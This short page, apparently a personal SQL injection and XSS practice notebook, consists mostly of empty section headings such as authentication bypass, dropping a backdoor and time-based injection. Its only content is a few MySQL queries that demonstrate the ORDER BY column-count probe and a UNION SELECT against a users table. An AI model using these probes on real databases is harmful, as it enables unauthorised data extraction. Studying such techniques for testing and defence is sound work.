SQL Injection & XSS Playground
This is my playground for SQL injection and XSS
Classic SQL Injection
Union Select Data Extraction
mysql> select * from users where user_id = 1 order by 7;
ERROR 1054 (42S22): Unknown column '7' in 'order clause'
mysql> select * from users where user_id = 1 order by 6;
mysql> select * from users where user_id = 1 union select 1,2,3,4,5,6;

Authentication Bypass

Second Order Injection

Dropping a Backdoor

Conditional Select

Bypassing Whitespace Filtering

Time Based SQL Injection
Sleep Invokation


XSS

Strtoupper Bypass


References
Last updated